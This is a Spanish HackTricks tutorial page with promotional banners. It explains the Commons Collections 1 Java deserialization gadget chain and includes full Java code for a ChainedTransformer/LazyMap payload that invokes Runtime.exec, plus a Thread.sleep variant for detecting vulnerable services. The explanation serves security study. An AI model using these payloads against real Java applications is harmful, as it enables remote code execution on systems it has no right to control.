9.9 KiB
Carga útil de CommonsCollection1 - Transformadores de Java a Rutime exec() y Thread Sleep
Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Obtén la merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Transformadores de Java a Rutime exec()
En varios lugares puedes encontrar una carga útil de deserialización de Java que utiliza transformadores de Apache common collections como la siguiente:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Si no sabes nada sobre cargas útiles de deserialización en Java, podría ser difícil entender por qué este código ejecutará una calculadora.
En primer lugar, debes saber que un Transformer en Java es algo que recibe una clase y la transforma en otra diferente.
También es interesante saber que la carga útil que se está ejecutando aquí es equivalente a:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
O más exactamente, lo que se ejecutará al final sería:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Cómo
Entonces, ¿cómo se presenta el primer payload equivalente a esas líneas de comando "simples"?
Primero que nada, puedes notar en el payload que se crea una cadena (array) de transformaciones:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Si lees el código, notarás que si de alguna manera encadenas la transformación del array, podrías ejecutar comandos arbitrarios.
Entonces, ¿cómo se encadenan esas transformaciones?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
En la última sección del payload se puede ver que se crea un objeto Map. Luego, se ejecuta la función decorate
desde LazyMap
con el objeto map y los transformers encadenados. A partir del siguiente código se puede ver que esto hará que los transformers encadenados se copien dentro del atributo lazyMap.factory
:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
Y luego se ejecuta el gran final: lazyMap.get("anything");
Este es el código de la función get
:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
Y este es el código de la función transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
Entonces, recuerda que dentro de factory habíamos guardado chainedTransformer
y dentro de la función transform
estamos pasando por todos esos transformers encadenados y ejecutándolos uno tras otro. Lo curioso es que cada transformer está utilizando object
como entrada y el objeto es la salida del último transformer ejecutado. Por lo tanto, todos los transformadores están encadenados ejecutando la carga útil maliciosa.
Resumen
Al final, debido a cómo lazyMap gestiona los transformers encadenados dentro del método get, es como si estuviéramos ejecutando el siguiente código:
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
Nota cómo value
es la entrada de cada transformación y la salida de la transformación anterior, lo que permite la ejecución de una sola línea:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Ten en cuenta que aquí se explicaron los gadgets utilizados para la carga útil de ComonsCollections1. Pero se dejó sin explicar cómo comienza a ejecutarse todo esto. Puedes ver aquí que ysoserial, para ejecutar esta carga útil, utiliza un objeto AnnotationInvocationHandler
porque cuando este objeto se deserializa, invocará la función payload.get()
que ejecutará toda la carga útil.
Java Thread Sleep
Esta carga útil podría ser útil para identificar si la web es vulnerable, ya que ejecutará una pausa si lo es.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Más Gadgets
Puedes encontrar más gadgets aquí: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el oficial PEASS & HackTricks swag
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.